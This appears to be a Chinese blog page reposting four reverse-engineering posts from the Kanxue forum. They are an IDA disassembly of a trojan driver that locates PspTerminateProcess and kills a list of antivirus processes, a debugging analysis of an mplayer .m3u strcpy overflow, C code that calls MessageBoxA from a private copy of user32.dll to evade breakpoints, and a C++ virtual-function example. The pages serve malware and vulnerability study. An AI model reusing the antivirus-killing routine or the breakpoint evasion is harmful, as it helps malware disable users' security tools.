显示标签为“代碼分析”的博文。显示所有博文
显示标签为“代碼分析”的博文。显示所有博文

2011年9月28日星期三

[轉載]分析個性感小馬


作 者: Hacksign 
時 間: 2011-08-02,12:04:51
鏈接: http://bbs.pediy.com/showthread.php?t=138107

昨天發了一篇被判定為YJ貼了。 。 ,希望這篇不會。 。 。
馬比較簡單,適合新手。
先說一下行為:exe文件會釋放Pcix32.sys amd32_.sys atax32.sys三個文件,但是後兩個其實只是地一個的拷貝。 sys文件負責監控各種殺毒軟件和安全工具的啟動,一旦發現,馬上kill。
1。 exe行為。
這裡只寫思路,詳細請參考idb文件和自己跟,嘎嘎。
首先獲取系統drivers目錄,然後釋放Pcix32.sys到這個目錄下,期間拷貝各種副本。
還有,exe會檢測是否有還原精靈,有的話會做相應處理,不過本人太懶。 。懶得搭環境,這部分有興趣的跟一下吧:)
如果沒有還原精靈的話,就加載驅動。
最後有一個注入的行為,也沒仔細跟:D
2。 sys
這個是感興趣的,貼代碼:

代碼:
.text:00010B34 lea eax, [ebp+SystemInformation]
.text:00010B37 push eax ; ReturnLength
.text:00010B38 push 0 ; SystemInformationLength
.text:00010B3A push eax ; SystemInformation
.text:00010B3B push 0Bh ; SystemInformationClass
.text:00010B3D mov edi, ds:__imp_ZwQuerySystemInformation
.text:00010B43 call edi ; __imp_ZwQuerySystemInformation
.text:00010B45 push [ebp+SystemInformation] ; NumberOfBytes
.text:00010B48 push 1 ; PoolType
.text:00010B4A call ds:ExAllocatePool
獲得系統各種信息。 。 。

代碼:
text:00010B5A push 0 ; ReturnLength
.text:00010B5C push [ebp+SystemInformation] ; SystemInformationLength
.text:00010B5F push esi ; SystemInformation
.text:00010B60 push 0Bh ; SystemInformationClass
.text:00010B62 call edi ; __imp_ZwQuerySystemInformation
.text:00010B64 test eax, eax
.text:00010B66 jl short loc_10BDE
.text:00010B68 mov ebx, [esi+0Ch]
.text:00010B6B mov edi, [esi+10h]
.text:00010B6E add edi, ebx
.text:00010B70 push 0 ; Tag
.text:00010B72 push esi ; P
.text:00010B73 call ds:ExFreePoolWithTag
.text:00010B79 mov esi, ebx
.text:00010B7B
.text:00010B7B loc_10B7B: ; CODE XREF: sub_10B28+BF?j
.text:00010B7B cmp esi, edi
.text:00010B7D ja short loc_10BDE
.text:00010B7F push esi ; VirtualAddress
.text:00010B80 call ds:MmIsAddressValid
.text:00010B86 test al, al
.text:00010B88 jz short loc_10BE6
.text:00010B8A lea ebx, [esi+4]
.text:00010B8D push ebx ; VirtualAddress
.text:00010B8E call ds:MmIsAddressValid;測試地址是否可用,防止BSOD。 。 。
.text:00010B94 test al, al
.text:00010B96 jz short loc_10BE6
.text:00010B98 mov eax, 8B55FF8Bh:google一下這個值吧,發現是PspTerminateProcess
.text:00010B9D cmp [esi], eax
.text:00010B9F jnz short loc_10BE6
.text:00010BA1 mov eax, 0CEC83ECh
.text:00010BA6 cmp [ebx], eax
.text:00010BA8 jnz short loc_10BE6
.text:00010BAA mov eax, 0FFF84D83h
.text:00010BAF cmp [esi+8], eax
.text:00010BB2 jnz short loc_10BE6
.text:00010BB4 mov eax, 7D8B5756h
.text:00010BB9 cmp [esi+0Ch], eax
.text:00010BBC jnz short loc_10BE6
.text:00010BBE and [ebp+ms_exc.disabled], 0
.text:00010BC2 mov [ebp+var_20], esi
.text:00010BC5 mov [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:00010BCC mov eax, esi;保存函數地址
作者考慮的還挺周全。 。 。如果木有找到這個函數:

代碼:
.text:00010A40 call _GetPspTerminateProcessAddress
.text:00010A45 mov PspTerminateProcess, eax
.text:00010A4A test eax, eax
.text:00010A4C jnz short loc_10A8F
.text:00010A4E call sub_10568
就去找PsTerminateProcess這個東東:

代碼:
sub_10568 proc near ; CODE XREF: sub_10A30+1E?p
.text:00010568 push offset aPsterminatesys ; "PsTerminateSystemThread"
.text:0001056D push sysInfo
.text:00010573 call sub_10486
.text:00010578 xor ecx, ecx
.text:0001057A
.text:0001057A loc_1057A: ; CODE XREF: sub_10568+28?j
.text:0001057A cmp byte ptr [eax], 0FFh;0xFF7508,即psterminateprocess
.text:0001057D jnz short loc_1058B
.text:0001057F cmp byte ptr [eax+1], 75h
.text:00010583 jnz short loc_1058B
.text:00010585 cmp byte ptr [eax+2], 8
.text:00010589 jz short loc_10595
。 。 。 。
.text:00010595 loc_10595: ; CODE XREF: sub_10568+21?j
.text:00010595 add eax, 5
.text:00010598 mov ecx, [eax]
.text:0001059A lea eax, [ecx+eax+4]
.text:0001059E retn
期間還有兩個函數,時間倉促,沒細看,就不說了。 。 。 。
下面是find and kill函數,負責幹壞事的元兇:

代碼:
.text:00010CEC mov edi, edi
.text:00010CEE push ebp
.text:00010CEF mov ebp, esp
.text:00010CF1 sub esp, 6A4h
.text:00010CF7 and [ebp+var_C], 0
.text:00010CFB push ebx
.text:00010CFC push esi
.text:00010CFD push edi
.text:00010CFE mov esi, 0FFFFh
.text:00010D03 push esi ; NumberOfBytes
.text:00010D04 mov ebx, offset aKvmonxp_exe ; "KVMonXp.exe"
.text:00010D09 push 1 ; PoolType
.text:00010D0B mov [ebp+SourceString], offset aNod32krn_exe ; "nod32krn.exe"
.text:00010D15 mov [ebp+var_C0], offset aEgui_exe ; "egui.exe"
.text:00010D1F mov [ebp+var_BC], offset aEkrn_exe ; "ekrn.exe"
.text:00010D29 mov [ebp+var_B8], offset a360tray_exe ; "360tray.exe"
.text:00010D33 mov [ebp+var_B4], offset a360safe_exe ; "360Safe.exe"
.text:00010D3D mov [ebp+var_B0], offset aSafeboxtray_ex ; "safeboxTray.exe"
.text:00010D47 mov [ebp+var_AC], offset a360safebox_exe ; "360safebox.exe"
.text:00010D51 mov [ebp+var_A8], offset a360sd_exe ; "360sd.exe"
.text:00010D5B mov [ebp+var_A4], offset aZhudongfangyu_ ; "ZhuDongFangYu.exe"
.text:00010D65 mov [ebp+var_A0], offset a360rp_exe ; "360rp.exe"
.text:00010D6F mov [ebp+var_9C], offset a360sdupd_exe ; "360sdupd.exe"
.text:00010D79 mov [ebp+var_98], offset a360rps_exe ; "360rps.exe"
.text:00010D83 mov [ebp+var_94], offset a3_0 ; "3"
.text:00010D8D mov [ebp+var_90], offset aO ; "O"
.text:00010D97 mov [ebp+var_8C], offset asc_11BDE ; "L"
.text:00010DA1 mov [ebp+var_88], offset aK_8 ; "K"
.text:00010DAB mov [ebp+var_84], offset aK_7 ; "k"
.text:00010DB5 mov [ebp+var_80], offset aK_6 ; "k"
.text:00010DBC mov [ebp+var_7C], offset aK_5 ; "k"
.text:00010DC3 mov [ebp+var_78], offset aK_4 ; "k"
.text:00010DCA mov [ebp+var_74], offset aU ; "u"
.text:00010DD1 mov [ebp+var_70], offset aKxescore_exe ; "kxescore.exe"
.text:00010DD8 mov [ebp+var_6C], offset aKxetray_exe ; "kxetray.exe"
.text:00010DDF mov [ebp+var_68], offset aK_3 ; "K"
.text:00010DE6 mov [ebp+var_64], offset aK ; "K"
.text:00010DED mov [ebp+var_60], offset aGuiyingfix_exe ; "guiyingfix.exe"
.text:00010DF4 mov [ebp+var_5C], offset aRavmond_exe ; "RavMonD.exe"
.text:00010DFB mov [ebp+var_58], offset aR_3 ; "R"
.text:00010E02 mov [ebp+var_54], offset aR ; "R"
.text:00010E09 mov [ebp+var_50], offset aRegguide_exe ; "RegGuide.exe"
.text:00010E10 mov [ebp+var_4C], offset aR_0 ; "R"
.text:00010E17 mov [ebp+var_48], offset aRscopy_exe ; "RsCopy.exe"
.text:00010E1E mov [ebp+var_44], offset aRav_exe ; "Rav.exe"
.text:00010E25 mov [ebp+var_40], offset aKvsrvxp_exe ; "KVSrvXP.exe"
.text:00010E2C mov [ebp+var_3C], offset word_119F2
.text:00010E33 mov [ebp+var_38], ebx
.text:00010E36 mov [ebp+var_34], offset aA ; "a"
.text:00010E3D mov [ebp+var_30], offset aIcesword_exe ; "IceSword.exe"
.text:00010E44 mov [ebp+var_2C], offset aS_0 ; "S"
.text:00010E4B mov [ebp+var_28], offset aR_1 ; "r"
.text:00010E52 mov [ebp+var_24], offset aKnownsvr_exe ; "knownsvr.exe"
.text:00010E59 mov [ebp+var_20], offset aR_2 ; "r"
.text:00010E60 mov [ebp+var_1C], offset aKnsdtray_exe ; "knsdtray.exe"
.text:00010E67 mov [ebp+var_18], offset aK_2 ; "k"
.text:00010E6E mov [ebp+var_14], offset aK_1 ; "k"
.text:00010E75 mov [ebp+var_10], offset aK_0 ; "k"
.text:00010E7C call ds:ExAllocatePool
.text:00010E82 mov edi, eax
.text:00010E84 mov [ebp+P], edi
.text:00010E87 test edi, edi
.text:00010E89 jz loc_10FA5
.text:00010E8F push offset Format ; "enter findprocessandkill\n"
.text:00010E94 call DbgPrint
.text:00010E99 pop ecx
.text:00010E9A lea eax, [ebp+ReturnLength]
.text:00010E9D push eax ; ReturnLength
.text:00010E9E push esi ; SystemInformationLength
.text:00010E9F push edi ; SystemInformation
.text:00010EA0 push 5 ; SystemInformationClass
.text:00010EA2 call ds:__imp_ZwQuerySystemInformation
.text:00010EA8 mov esi, edi
.text:00010EAA
.text:00010EAA loc_10EAA: ; CODE XREF: _FindAddKillProcess+2A8?j
.text:00010EAA add esi, [esi]
.text:00010EAC xor eax, eax
.text:00010EAE lea edi, [esi+38h]
.text:00010EB1 cmp [edi], ax
.text:00010EB4 jz loc_10F91
.text:00010EBA mov [ebp+ReturnLength], eax
.text:00010EBD
.text:00010EBD loc_10EBD: ; CODE XREF: _FindAddKillProcess+29F?j
.text:00010EBD push [ebp+eax*4+SourceString] ; SourceString
.text:00010EC4 lea eax, [ebp+eax*8+DestinationString]
.text:00010ECB push eax ; DestinationString
.text:00010ECC call ds:RtlInitUnicodeString
.text:00010ED2 mov eax, [ebp+ReturnLength]
.text:00010ED5 push 1 ; CaseInSensitive
.text:00010ED7 lea eax, [ebp+eax*8+DestinationString]
.text:00010EDE push eax ; String2
.text:00010EDF push edi ; String1
.text:00010EE0 call ds:RtlCompareUnicodeString
.text:00010EE6 test eax, eax
.text:00010EE8 jnz loc_10F7C
.text:00010EEE mov eax, [ebp+ReturnLength]
.text:00010EF1 push offset aKvsrvxp_exe ; "KVSrvXP.exe"
.text:00010EF6 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010EFD call ds:_wcsicmp
.text:00010F03 pop ecx
.text:00010F04 pop ecx
.text:00010F05 test eax, eax
.text:00010F07 jz short loc_10F75
.text:00010F09 mov eax, [ebp+ReturnLength]
.text:00010F0C push offset word_119F2 ; wchar_t *
.text:00010F11 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010F18 call ds:_wcsicmp
.text:00010F1E pop ecx
.text:00010F1F pop ecx
.text:00010F20 test eax, eax
.text:00010F22 jz short loc_10F75
.text:00010F24 mov eax, [ebp+ReturnLength]
.text:00010F27 push ebx ; wchar_t *
.text:00010F28 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010F2F call ds:_wcsicmp
.text:00010F35 pop ecx
.text:00010F36 pop ecx
.text:00010F37 test eax, eax
.text:00010F39 jz short loc_10F75
.text:00010F3B mov eax, [ebp+ReturnLength]
.text:00010F3E push [ebp+eax*4+SourceString]
.text:00010F45 push offset aFindProcesssWs ; "Find Processs: %ws\n"
.text:00010F4A call DbgPrint
.text:00010F4F pop ecx
.text:00010F50 pop ecx
.text:00010F51 push dword ptr [esi+44h] ; PEPROCESS
.text:00010F54 call KillProcess
.text:00010F59 test eax, eax
.text:00010F5B jl short loc_10F7C
.text:00010F5D mov eax, [ebp+ReturnLength]
.text:00010F60 push [ebp+eax*4+SourceString]
.text:00010F67 push offset aKillProcesssWs ; "Kill Processs: %ws OK!\n"
.text:00010F6C call DbgPrint
.text:00010F71 pop ecx
.text:00010F72 pop ecx
.text:00010F73 jmp short loc_10F7C
.text:00010F75 ; --------------------------------------------- ------------------------------
.text:00010F75
.text:00010F75 loc_10F75: ; CODE XREF: _FindAddKillProcess+21B?j
.text:00010F75 ; _FindAddKillProcess+236?j ...
.text:00010F75 mov byte_1212C, 1
.text:00010F7C
.text:00010F7C loc_10F7C: ; CODE XREF: _FindAddKillProcess+1FC?j
.text:00010F7C ; _FindAddKillProcess+26F?j ...
.text:00010F7C mov eax, [ebp+ReturnLength]
.text:00010F7F inc eax
.text:00010F80 cmp [ebp+eax*4+SourceString], 0
.text:00010F88 mov [ebp+ReturnLength], eax
.text:00010F8B jnz loc_10EBD
.text:00010F91
.text:00010F91 loc_10F91: ; CODE XREF: _FindAddKillProcess+1C8?j
.text:00010F91 cmp dword ptr [esi], 0
.text:00010F94 jnz loc_10EAA
.text:00010F9A push 0 ; Tag
.text:00010F9C push [ebp+P] ; P
.text:00010F9F call ds:ExFreePoolWithTag
.text:00010FA5
.text:00010FA5 loc_10FA5: ; CODE XREF: _FindAddKillProcess+19D?j
.text:00010FA5 pop edi
.text:00010FA6 pop esi
.text:00010FA7 pop ebx
.text:00010FA8 leave
.text:00010FA9 retn
循環查找一堆安全工具,發現就kill~
呵呵,看一下怎麼kill的吧:

代碼:
KillProcess proc near ; CODE XREF: _FindAddKillProcess+268?p
.text:00010CB0
.text:00010CB0 PEPROCESS = dword ptr 8
.text:00010CB0
.text:00010CB0 mov edi, edi
.text:00010CB2 push ebp
.text:00010CB3 mov ebp, esp
.text:00010CB5 lea eax, [ebp+PEPROCESS]
.text:00010CB8 push eax
.text:00010CB9 push [ebp+PEPROCESS]
.text:00010CBC call PsLookupProcessByProcessId
.text:00010CC1 test eax, eax
.text:00010CC3 jl short loc_10CCE
.text:00010CC5 mov ecx, [ebp+PEPROCESS] ; Object
.text:00010CC8 call ds:ObfDereferenceObject
.text:00010CCE
.text:00010CCE loc_10CCE: ; CODE XREF: KillProcess+13?j
.text:00010CCE push [ebp+PEPROCESS]
.text:00010CD1 call sub_10C4E
.text:00010CD6 test eax, eax
.text:00010CD8 jl short loc_10CDE
.text:00010CDA xor eax, eax
.text:00010CDC jmp short loc_10CE3
.text:00010CDE ; --------------------------------------------- ------------------------------
.text:00010CDE
.text:00010CDE loc_10CDE: ; CODE XREF: KillProcess+28?j
.text:00010CDE mov eax, 0C0000001h
.text:00010CE3
.text:00010CE3 loc_10CE3: ; CODE XREF: KillProcess+2C?j
.text:00010CE3 pop ebp
.text:00010CE4 retn 4
.text:00010CE4 KillProcess endp
然後是00010CD1的調用:

代碼:
                
.text:00010C50 push offset unk_12088
.text:00010C55 call __SEH_prolog4
.text:00010C5A xor edi, edi
.text:00010C5C mov [ebp+var_1C], edi
.text:00010C5F mov [ebp+ms_exc.disabled], edi
.text:00010C62 push edi ; Object
.text:00010C63
.text:00010C63 loc_10C63: ; CODE XREF: sub_10C4E+32?j
.text:00010C63 push [ebp+PEPROCESS] ; PEPROCESS
.text:00010C66 call sub_10BEE
.text:00010C6B mov esi, eax
.text:00010C6D cmp esi, edi
.text:00010C6F jz short loc_10C99
.text:00010C71 mov [ebp+var_1C], edi
.text:00010C74 push edi
.text:00010C75 push esi
.text:00010C76 call PspTerminateProcess
.text:00010C7C mov [ebp+var_1C], eax
.text:00010C7F push esi
.text:00010C80 jmp short loc_10C63
.text:00010C82 ; --------------------------------------------- ------------------------------
.text:00010C82
.text:00010C82 loc_10C82: ; DATA XREF: .rdata:0001209C?o
.text:00010C82 mov eax, [ebp+ms_exc.exc_ptr]
.text:00010C85 mov eax, [eax]
.text:00010C87 mov eax, [eax]
.text:00010C89 mov [ebp+var_20], eax
.text:00010C8C xor eax, eax
.text:00010C8E inc eax
.text:00010C8F retn
.text:00010C90 ; --------------------------------------------- ------------------------------
.text:00010C90
.text:00010C90 loc_10C90: ; DATA XREF: .rdata:000120A0?o
.text:00010C90 mov esp, [ebp+ms_exc.old_esp]
.text:00010C93 mov eax, [ebp+var_20]
.text:00010C96 mov [ebp+var_1C], eax
.text:00010C99
.text:00010C99 loc_10C99: ; CODE XREF: sub_10C4E+21?j
.text:00010C99 mov [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:00010CA0 mov eax, [ebp+var_1C]
.text:00010CA3 call __SEH_epilog4
.text:00010CA8 retn 4
.text:00010CA8 sub_10C4E endp
先到這裡吧。 。寫的有點簡略,大家見諒。 。 。

2011年9月26日星期一

【轉載】簡單分析mplayer播放器讀取.m3u格式文件漏洞


作 者: kindsjay
時 間: 2011-09-01,11:04:39
鏈接: http://bbs.pediy.com/showthread.php?t=139600

前言:這段時間一直在努力學習漏洞分析,並參考了failwest大牛製作<0day第二版>, 暴風m3u文件讀取漏洞(看雪網->鮮果也曾對其進行分析),小弟不才,只能跟著大牛後面跑.
附:暴風m3u分析,是在同事dge的幫助下完成的調試,乘熱打鐵,自己分析了同一類型(mplayer播放器)漏洞.也算是對自己知識的總結,第一次寫文章,還請大家指責批評,不清楚的地方可以發郵件問我

測試環境:
  windows xp sp3_cn (實體機測試,沒有使用虛擬機)
   ollyice看雪版
  poc和測試軟件版本見:http://www.exploit-db.com/exploits/17565/
  

漏洞觸發過程分析:
      ollyice 附加mplayer.exe進程,設置OD調試斷點(工具欄-->選項-->調試選項--->異常標籤)
------------------------------
   忽略在Kernel32中的內存訪問異常,並勾選以下選項
       int3 中斷
       單步中斷
       整數除以0
           無效或特權指令
       所有FPU異常
 -----------------------------------------

    將生成的m3u格式文件拖拽到mplayer播放器窗口中,F9運行,OD會自動下斷在程序異常信息信息處.
      觀察od堆棧信息窗口,查看棧信息

0022E948 00000000
0022E94C 00561760 返回到mplayer.00561760 來自<jmp.&msvcrt.strcpy>(可疑)
0022E950 0022EBB8 ASCII "http:// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
0022E954 003FD5C8 ASCII "http:// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
0022E958 00000000
0022E95C 00000000
0022E960 00000000
0022E964 0022E974
0022E968 00000000
0022E96C 7C930098 返回到ntdll.7C930098 來自ntdll.7C922AB0


可以發現jmp.&msvcrt.strcpy(可疑,再後面進行證實),鼠標右鍵點擊該行,選擇"反彙編窗口中跟隨",來到彙編主窗體,對該函數下斷點,重新載入m3u至mplayer,
F9來到斷點處,可以查看下堆棧信息和彙編信息

------------------------------------------
堆棧信息:
0022E950 0022EBB8 |dest = 0022EBB8(目標地址)
0022E954 003FD5C8 \src = "http:// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...(源地址)
0022E958 00000000
0022E95C 00000000
0022E960 00000000
0022E964 0022E974
0022E968 00000000
0022E96C 7C930098 返回到ntdll.7C930098 來自ntdll.7C922AB0

彙編主窗體信息:
00561754 |. 895C24 04 mov dword ptr [esp+4], ebx ; ||
00561758 |. 890424 mov dword ptr [esp], eax ; ||
0056175B |. E8 A8032900 call <jmp.&msvcrt.strcpy> ; |\strcpy
00561760 |. 8D9424 680200>lea edx, dword ptr [esp+268] ; |
00561767 |. C74424 04 2F0>mov dword ptr [esp+4], 2F ; |
0056176F |. 891424 mov dword ptr [esp], edx ; |
00561772 |. E8 C1032900 call <jmp.&msvcrt.strrchr> ; \strrchr
-----------------------------------------------

F7進入call:
   77C16030 > 57 push edi
77C16031 8B7C24 08 mov edi, dword ptr [esp+8]
77C16035 EB 6A jmp short 77C160A1
77C16037 8DA424 00000000 lea esp, dword ptr [esp]
77C1603E 8BFF mov edi, edi
77C16040 > 8B4C24 04 mov ecx, dword ptr [esp+4]
77C16044 57 push edi
77C16045 F7C1 03000000 test ecx, 3
77C1604B 74 0F je short 77C1605C
77C1604D 8A01 mov al, byte ptr [ecx]
77C1604F 41 inc ecx
77C16050 84C0 test al, al
77C16052 74 3B je short 77C1608F
77C16054 F7C1 03000000 test ecx, 3
77C1605A ^ 75 F1 jnz short 77C1604D
77C1605C 8B01 mov eax, dword ptr [ecx]
77C1605E BA FFFEFE7E mov edx, 7EFEFEFF
77C16063 03D0 add edx, eax
77C16065 83F0 FF xor eax, FFFFFFFF
77C16068 33C2 xor eax, edx
77C1606A 83C1 04 add ecx, 4
77C1606D A9 00010181 test eax, 81010100
77C16072 ^ 74 E8 je short 77C1605C
77C16074 8B41 FC mov eax, dword ptr [ecx-4]
77C16077 84C0 test al, al
77C16079 74 23 je short 77C1609E
77C1607B 84E4 test ah, ah
77C1607D 74 1A je short 77C16099
77C1607F A9 0000FF00 test eax, 0FF0000
77C16084 74 0E je short 77C16094
77C16086 A9 000000FF test eax, FF000000
77C1608B 74 02 je short 77C1608F
77C1608D ^ EB CD jmp short 77C1605C
77C1608F 8D79 FF lea edi, dword ptr [ecx-1]
77C16092 EB 0D jmp short 77C160A1
77C16094 8D79 FE lea edi, dword ptr [ecx-2]
77C16097 EB 08 jmp short 77C160A1
77C16099 8D79 FD lea edi, dword ptr [ecx-3]
77C1609C EB 03 jmp short 77C160A1
77C1609E 8D79 FC lea edi, dword ptr [ecx-4]
77C160A1 8B4C24 0C mov ecx, dword ptr [esp+C]
77C160A5 F7C1 03000000 test ecx, 3
77C160AB 74 19 je short 77C160C6
77C160AD 8A11 mov dl, byte ptr [ecx]
77C160AF 41 inc ecx
77C160B0 84D2 test dl, dl
77C160B2 74 64 je short 77C16118
77C160B4 8817 mov byte ptr [edi], dl
77C160B6 47 inc edi
77C160B7 F7C1 03000000 test ecx, 3
77C160BD ^ 75 EE jnz short 77C160AD
77C160BF EB 05 jmp short 77C160C6
77C160C1 8917 mov dword ptr [edi], edx(這裡出現異常)
77C160C3 83C7 04 add edi, 4
77C160C6 BA FFFEFE7E mov edx, 7EFEFEFF
77C160CB 8B01 mov eax, dword ptr [ecx]
77C160CD 03D0 add edx, eax
77C160CF 83F0 FF xor eax, FFFFFFFF
77C160D2 33C2 xor eax, edx
77C160D4 8B11 mov edx, dword ptr [ecx]
77C160D6 83C1 04 add ecx, 4
77C160D9 A9 00010181 test eax, 81010100
77C160DE ^ 74 E1 je short 77C160C1
77C160E0 84D2 test dl, dl
77C160E2 74 34 je short 77C16118
77C160E4 84F6 test dh, dh
77C160E6 74 27 je short 77C1610F
77C160E8 F7C2 0000FF00 test edx, 0FF0000
77C160EE 74 12 je short 77C16102
77C160F0 F7C2 000000FF test edx, FF000000
77C160F6 74 02 je short 77C160FA
77C160F8 ^ EB C7 jmp short 77C160C1
77C160FA 8917 mov dword ptr [edi], edx
77C160FC 8B4424 08 mov eax, dword ptr [esp+8]
77C16100 5F pop edi
77C16101 C3 retn
77C16102 66:8917 mov word ptr [edi], dx
77C16105 8B4424 08 mov eax, dword ptr [esp+8]
77C16109 C647 02 00 mov byte ptr [edi+2], 0
77C1610D 5F pop edi
77C1610E C3 retn
77C1610F 66:8917 mov word ptr [edi], dx
77C16112 8B4424 08 mov eax, dword ptr [esp+8]
77C16116 5F pop edi
77C16117 C3 retn
77C16118 8817 mov byte ptr [edi], dl
77C1611A 8B4424 08 mov eax, dword ptr [esp+8]
77C1611E 5F pop edi
77C1611F C3 retn

可以發現,在調試過程中,紅色地方,就是之前我們捕獲的異常地址處,說明該函數在函數cpy時,發生了溢出


命令:DD 0022EBB8,查看內存信息,內容已經被覆蓋,

0022EBB8 68 74 74 70 3A 2F 2F 20 41 41 41 41 41 41 41 41 http:// AAAAAAAA
0022EBC8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EBD8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EBE8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EBF8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC08 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC18 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC28 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC38 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC48 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41..... AAAAAAAAAAAAAAA.....



原理分析:函數在拷貝的過程中,由於原地址數據超長,導致目標數據出現溢出.
總結:之前我看過failwest和仙果的文章,他們分別是按特徵字符串".m3u"和"Readfile函數"下斷點並進行跟踪,查找異常函數,而我此篇文章卻是直接分析的棧,可能會有些跳躍,大家可自行選擇

2011年9月22日星期四

[轉載]如何中斷Themida的MessageBox對話框


作 者: 鄧韜
時 間: 2011-09-19,14:46:07
鏈接: http://bbs.pediy.com/showthread.php?t=140298

原理:讀取系統DLL到分配​​的內存裡面去,然後定位到相關的API的代碼。
FARPROC GetApiAddr(BYTE *Base,DWORD Api)
參數一:我們分配的內存基址
參數二:函數地址減去模塊基址的差值
返回值:返回內存中得API的函數的地址
作用:對原來的系統API函數下斷點無效,因為我們已經吧全部系統DLL讀取到內存中定位到相關的代碼了,調用的是內存中得API函數


代碼:
#include <windows.h>
char Caption[]="Test";
char Text[]="MessageBoxA";
FARPROC  GetApiAddr(BYTE *Base,DWORD Api)
{
  DWORD VirtualSize;
  DWORD PhysicalAddr;
  DWORD RawSize;  
  FARPROC RET=NULL;
  PIMAGE_DOS_HEADER DosHeader=(PIMAGE_DOS_HEADER)Base;
  PIMAGE_NT_HEADERS NtHeader=(PIMAGE_NT_HEADERS)((DWORD)DosHeader+(DWORD)DosHeader->e_lfanew);
  PIMAGE_SECTION_HEADER SecHeader=(PIMAGE_SECTION_HEADER)((DWORD)NtHeader+sizeof(IMAGE_FILE_HEADER)+  
    NtHeader->FileHeader.SizeOfOptionalHeader+4);
  BYTE SecSum=NtHeader->FileHeader.NumberOfSections;
  while(SecSum)
  {
    PhysicalAddr=(DWORD)SecHeader->Misc.PhysicalAddress;
    VirtualSize=(DWORD)SecHeader->VirtualAddress;//>Misc.VirtualSize;
    PhysicalAddr+=VirtualSize;
    if(Api>=VirtualSize&&Api<=PhysicalAddr)
    {
      RawSize=SecHeader->PointerToRawData;
      RawSize-=VirtualSize;
      Base+=RawSize;
      Base+=Api;
    }
    SecHeader++;
    SecSum--;
  }
  RET=(FARPROC)Base;
  return RET;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
  DWORD dwRead;
  char SystemPath[MAX_PATH]={0};
  HMODULE hMod=GetModuleHandleA("USER32.DLL");
  if(!hMod)
    hMod=LoadLibraryA("USER32.DLL");
  GetSystemDirectoryA(SystemPath,MAX_PATH);
  lstrcat(SystemPath,"\\user32.dll");
  HANDLE Handle=CreateFileA(SystemPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  DWORD Size=GetFileSize(Handle,NULL);
  BYTE *Virtual=VirtualAlloc(NULL,Size,MEM_COMMIT,PAGE_READWRITE);
  VirtualLock(Virtual,Size);
  ReadFile(Handle,Virtual,Size,&dwRead,NULL);
  DWORD MeAddr=(DWORD)GetProcAddress(hMod,"MessageBoxA");
  MeAddr=MeAddr-(DWORD)hMod;
  DWORD Api=(DWORD)GetApiAddr(Virtual,MeAddr);
_asm{
    push 0
    lea eax,Caption
    push eax
    lea eax,Text
    push eax
    push 0
    call Api
  }
  return FALSE;
}

2011年9月18日星期日

[轉載]C++代碼分析


作 者: 鄧韜
時 間: 2011-08-25,14:29:18
鏈接: http://bbs.pediy.com/showthread.php?t=139289

C++虛函數是構成多態的一部分,多態指的是運行期決定調用哪個函數,下面是個純虛函數例子:
#include "stdafx.h"
class Test{
public:
  Test(){
    printf("Test::Test\n");
  }
  virtual ~Test(){
    printf("Virtual ~Test()\n");
  }
  virtual void prointer()=0;
  virtual void pointf()=0;
};
class TestA:public Test{
public:
  TestA(){
    printf("TestA::TestA\n");
  }
  virtual ~TestA(){
    printf("TestA::TestA\n");
  }
  virtual void prointer(){
    printf("Derive Class TestA::Pointer\n");
  }
  virtual void pointf(){
    printf("Derive Class TestA::Pointf\n");
  }
};
int _tmain(int argc, _TCHAR* argv[]){
  TestA *pTest=new TestA;
  pTest->pointf();
  pTest->prointer();
  delete pTest;
  return 0;
}
這段代碼定義了一個抽像類,和一個派生類,抽像類不能創建自己的對象,但是可以間接的從派生類創建自己的對象,構成純虛函數的條件:
1. 一個類中必須要有一個虛函數
2. 在虛函數後面添加一個=0就是一個純虛函數了
